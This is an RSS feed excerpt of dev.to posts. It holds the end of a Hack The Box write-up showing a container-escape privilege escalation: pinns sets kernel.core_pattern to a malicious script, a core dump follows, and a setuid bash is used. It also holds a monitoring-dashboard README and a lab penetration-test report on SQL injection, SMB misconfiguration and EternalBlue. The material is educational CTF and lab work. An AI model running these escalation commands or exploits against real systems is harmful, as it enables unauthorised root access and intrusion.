4 -rwxrwxr-x 1 root root   33 Aug 31 10:50 e.sh
4 drwxrwxr-x 5 root root 4096 Aug 31 10:48 rootfs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  STEP 4
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;In session 2, use pinns to assign the kernel.core_pattern a value so that upon a core dump, it will execute the malicious script
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ethan@vessel:~$ pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/meow/e.sh #' --ipc --net --uts --cgroup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  STEP 5
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;In &lt;strong&gt;session 1&lt;/strong&gt;, trigger a core dump
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# ulimit -c unlimited
# tail -f /dev/null &amp;amp;
# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 sh
     12 pts/0    00:00:00 tail
     13 pts/0    00:00:00 ps
# bash -i
bash: /root/.bashrc: Permission denied
root@runc:/# kill -SIGSEGV 12
root@runc:/# ps
    PID TTY          TIME CMD
      1 pts/0    00:00:00 sh
     14 pts/0    00:00:00 bash
     17 pts/0    00:00:00 ps

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  STEP 6
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;In session 2, check that the s bit has been assigned to usr/bin/bash, and then promote to effective root
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ethan@vessel:~$ ls -ls /usr/bin/bash
1160 -rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash
ethan@vessel:~$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>htb</category>
    </item>
    <item>
      <title>Dashboard for laptop monitoring!!!!</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Fri, 03 Mar 2023 16:13:27 +0000</pubDate>
      <link>https://dev.to/codeninjausman/dashboard-for-laptop-monitoring-1oeo</link>
      <guid>https://dev.to/codeninjausman/dashboard-for-laptop-monitoring-1oeo</guid>
      <description>&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--566lAguM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/CodeNinjaUsman"&gt;
        CodeNinjaUsman
      &lt;/a&gt; / &lt;a href="https://github.com/CodeNinjaUsman/React-Monitor-"&gt;
        React-Monitor-
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Cool dashboard for laptop monitoring
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;h1&gt;
React monitor&lt;/h1&gt;
&lt;h2&gt;
Usage&lt;/h2&gt;
&lt;p&gt;This project was bootstrapped with &lt;a href="https://vitejs.dev/" rel="nofollow"&gt;Vite&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;
Project setup&lt;/h3&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;npm install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;
Compiles and hot-reloads for development&lt;/h4&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;
Compiles and minifies for production&lt;/h4&gt;
&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;&lt;pre class="notranslate"&gt;&lt;code&gt;npm run build
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;
Terms and License&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Released under the &lt;a href="https://www.gnu.org/licenses/gpl-3.0.html" rel="nofollow"&gt;GPL&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Copyright 2020 &lt;a href="https://cruip.com/" rel="nofollow"&gt;Cruip&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Use it for personal and commercial projects, but please don’t republish, redistribute, or resell the template.&lt;/li&gt;
&lt;li&gt;Attribution is not required, although it is really appreciated.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;



&lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/CodeNinjaUsman/React-Monitor-"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h3&gt;
  
  
  Project setup
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Compiles and hot-reloads for development
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Compiles and minifies for production
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Backend
&lt;/h2&gt;


&lt;h1&gt;
  
  
  Cpu info api
&lt;/h1&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;h1&gt;
  
  
  To save data in db
&lt;/h1&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;


&lt;h1&gt;
  
  
  Api for recent changes in files
&lt;/h1&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;
&lt;br&gt;
Run by&lt;br&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python watchdog_api.py C:\
python watchdog_flask.py
python cpu_monitor.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h6&gt;
  
  
  Thanks..
&lt;/h6&gt;

&lt;p&gt;&lt;strong&gt;Attribution is not required, although it is really appreciated. 🙏🙏&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>react</category>
      <category>flask</category>
      <category>node</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Hack a Machine</title>
      <dc:creator>Muhammad Usman</dc:creator>
      <pubDate>Sun, 19 Feb 2023 09:20:41 +0000</pubDate>
      <link>https://dev.to/codeninjausman/hack-a-machine-3mh8</link>
      <guid>https://dev.to/codeninjausman/hack-a-machine-3mh8</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Penetration Testing Report of Windows Desktop and CentOS Server&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://download1351.mediafire.com/ig2opor8abng/sb1ldskt9083ypu/Assignment-3+VED+Machines.zip"&gt;Link to machines&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Setting up the Environment&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
The two machines were opened in VMWare. The Desktop machine appears to be a Windows-7 based system while the Server machine is a CentOS system as shown in the image below.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4BjUKoOn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/648xxkpwdxa8jmt9c07o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4BjUKoOn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/648xxkpwdxa8jmt9c07o.png" alt="Machines Look Like" width="512" height="416"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Scanning Phase&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Tool Used:&lt;/strong&gt; Angry IP Scanner&lt;br&gt;
Scanning is a phase where we look for open ports in a system or a network. For this exercise, we scanned the entire network and found the CentOS server on IP address 192.168.10.10 along with its open ports. It is clearly evident that port 80 (for HTTP), port 22 (for SSH) and port 445 (for SMB) are open in the CentOS server. This means that a web application might be running on the server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UvoSkvRY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z233d70qzd2bnugsxza3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UvoSkvRY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z233d70qzd2bnugsxza3.png" alt="Angry Ip Scanner result" width="512" height="216"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;strong&gt;Checking the Server Web Application on Port 80&lt;/strong&gt;&lt;/u&gt;&lt;br&gt;
Since port 80 was open on the CentOS server as highlighted in the scanning phase, we therefore accessed the web application running there as shown in the image below. We made use of Firefox browser as it allows modifying the HTTP Requests which will be helpful in later stages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--kG3rgl1Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9bij4jg27qeuldj59655.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--kG3rgl1Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9bij4jg27qeuldj59655.png" alt="Coping Post Data" width="512" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Moreover, we inspected the page source in order to capture the POST request by supplying dummy data to the website. As depicted in the image below, we entered mbrown in the username field and sdsda in the password field. Although the password is wrong but capturing the POST request is important for launching further attacks. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Running SQLMap on Captured Post Requests&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
After capturing the POST Request, we launched SQLMap tool on that in order to harvest details about database, its tables, columns and fields as shown in the image below. SQL Map basically finds SQL injection vulnerabilities in web pages whereby a malicious SQL query when inserted on any user input field is passed on to the database and it fetches further information for the attacker. The web service running on CentOS server was found to be vulnerable for SQL injection attacks. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--b2M4W3RL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xkzlalc60qzt2ruvnvp8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--b2M4W3RL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xkzlalc60qzt2ruvnvp8.png" alt="Sql injection" width="512" height="251"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After getting the table details, SQLMap then shows the credentials as shown below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--86w5xs5D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bri7sn208ovca2vhub67.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--86w5xs5D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bri7sn208ovca2vhub67.png" alt="Credentials" width="512" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here, we can see that passwords for two accounts (Lora Brown and Matt Brown) are stored in an unencrypted form in the back-end database. Storing passwords in plaintext is not a recommended approach. They should be stored in the form of hashes. Moreover, the credentials for the Windows system are also stored here. Both machines got logged in using these credentials as shown below. This shows that the web application running on CentOS server is wide open for SQL injection attacks&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--KBcXHVwr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbb50e1phun3kn6fpseb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KBcXHVwr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pbb50e1phun3kn6fpseb.png" alt="Server" width="512" height="228"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uIlGqZrB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dyzly6m3tk5or0zhnjze.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uIlGqZrB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dyzly6m3tk5or0zhnjze.png" alt="Desktop" width="512" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Another utility of SQL injection attack is that that they do not generate persistence related issues in the victim system. Even in this case, the attack is persistent and stealthy because we are way above the Network layer of the TCP/IP protocol and no antivirus and firewall (if present) can guard against attacks on the Application layer of the TCP/IP protocol. That is the reason we chose such a persistent attack in order to get into the system, in the first place. This also speaks about the vulnerability in the implemented web application which should be patched to curtail injection attacks. Moreover, since the web application is running on port 80 and not 443, the entire session is insecure making the entire correspondence with the web application open for sniffers and eavesdroppers. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Issue with the Windows Operating System&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
While logging into the Windows machine, we found out that it is not running a genuine copy of the Operating System. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--yQfosK1Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ofu8l7slnr5w2d7oto9w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--yQfosK1Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ofu8l7slnr5w2d7oto9w.png" alt="Not genuine copy" width="512" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This means that the machine will not receive any official update, security patch or service pack update/upgrade, making it vulnerable to a wide variety of attacks. Moreover, using a counterfeit copy of a commercially licensed Operating System is not an acceptable act in many parts of the world. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;HTTP TRACE Request on CentOS Web Server&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
Since attackers make use of TRACE Request method in HTTP requests in order to enumerate the website(s), therefore they should not be allowed. But that is not the case with the web service running on CentOS as it accepts the TRACE HTTP Request type. While using the Mozilla Firefox operating system, we first modified our HTTP request to the web service and replaced the GET Request Type with TRACE Request Type in order to see the website’s response, as shown in the figure below.  &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---vLaaOiY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9w8ooqa6khag28u4c9pv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---vLaaOiY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9w8ooqa6khag28u4c9pv.png" alt="" width="512" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We noticed that the website gave some response to our TRACE request which was in ASCII as shown below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8_yVDaMy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8ks3ejudao4a8vq5dkp1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8_yVDaMy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8ks3ejudao4a8vq5dkp1.png" alt="" width="512" height="100"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When we converted this ASCII back into a readable form, we got the actual response website generated as a result of our TRACE request. Ideally, the website should block TRACE but it does not and that’s a vulnerability which would help any attacker fingerprint and/or enumerate the website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zFV8D46V--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2g725cyc8dq7oq7z6nyq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zFV8D46V--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2g725cyc8dq7oq7z6nyq.png" alt="" width="512" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;HTTP TRACK Request on CentOS Web Server&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
Similarly, the website also responds to the TRACK HTTP Request method which is used by the attackers to debug the webserver connections. Ideally, it should be blocked but the web application does not block it and rather responds to such requests. The image below shows the HTTP 200 OK response to the TRACK Request. We again made use of Mozilla Firefox browser to modify the GET HTTP Request Type with TRACK HTTP Request Type.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_iHVXp-g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m3aiyu0a0oxleq8hf2hz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_iHVXp-g--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m3aiyu0a0oxleq8hf2hz.png" alt="" width="512" height="224"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Anonymous READ/WRITE in CentOS (SMB Vulnerability)&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
The SMB (Service Message Block) service on the CentOS server requires no authentication and anyone, even anonymous users can get Read and/or Write access on the remote machine as shown in the image below. The administrator has not set any security whatsoever in this regard. This vulnerability can lead to man in the middle attacks on the CentOS machine. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eF55czAV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3j71g4b2q0ed5hkiuxul.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eF55czAV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3j71g4b2q0ed5hkiuxul.png" alt="" width="512" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;SMB Vulnerability in Windows Desktop Machine&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
Like the CentOS machine, the Windows machine was also vulnerable to the SMB vulnerability. The Windows machine is on the IP Address 192.168.10.20 and after scanning it was found out that the machine also has a remote code execution vulnerability in the SMB service as it is using the older version of SMB which has not been updated or patched and is hence vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--f1nA90gb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v8nguc3zuiqp3y8xnj80.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--f1nA90gb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v8nguc3zuiqp3y8xnj80.png" alt="" width="512" height="191"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Eternal Blue Vulnerability in Windows Desktop&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
Due to the SMB vulnerability, the Windows system was exploited using the Eternal Blue exploit. Metasploit Framework was used on a Kali Linux machine for exploitation purpose as shown in the figures below. Metasploit is framework built-in the Kali Linux Operating System which contains all the payloads and exploit codes which are known and published. It can be used for learning and educational purposes. In the image below, we have set the target IP to that of the Windows machine (192.168.10.25) and the remote port to 445 on which the vulnerable SMB service is listening. This would build a persistent connection and presence on the victim system because it has the vulnerable version of SMB installed which would be unable to detect the payload as vulnerable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HNotHZUa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pz6okggq7wsa9a38no56.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HNotHZUa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pz6okggq7wsa9a38no56.png" alt="" width="512" height="204"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The meterpreter session has opened which shows that the exploit has successfully executed on the remote Windows machine without getting detected, as shown below. Now since the session has been established, the remote system can be probed or fingerprinting in whatever way by providing commands from the Meterpreter terminal in Kali Linux.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5UZQCKRQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/scsgcalnmu8d1j0v6sq7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5UZQCKRQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/scsgcalnmu8d1j0v6sq7.png" alt="" width="512" height="148"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Moreover, the following security policies need to be implemented on both systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Password Security and Management Policy to ensure that the passwords meet the minimum complexity criteria and are properly managed and secured and are not stored anywhere in plaintext.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Security Patching and Update Policy to ensure that the version of Operating System and other applications running on the system are updated and patched against known security vulnerabilities. This would evade all possibilities of attacks with known CVE numbers that are launched on vulnerable applications and services.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Web Security Policy to ensure that the web applications running on the system are secure, sanitize and validate incoming requests and do not make the backend database and host system vulnerable to malicious attackers who try compromising the website through crafted HTTP requests and injections&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Software Procurement and Licensing Policy to ensure that the system is not running a counterfeit operating system but a genuine and licensed version of Windows.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Access Control and Authentication Policy to ensure that anonymous and un-privileged users do not get the admin or root privileges in the system and access levels are properly well defined and thoroughly implemented.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>sql</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
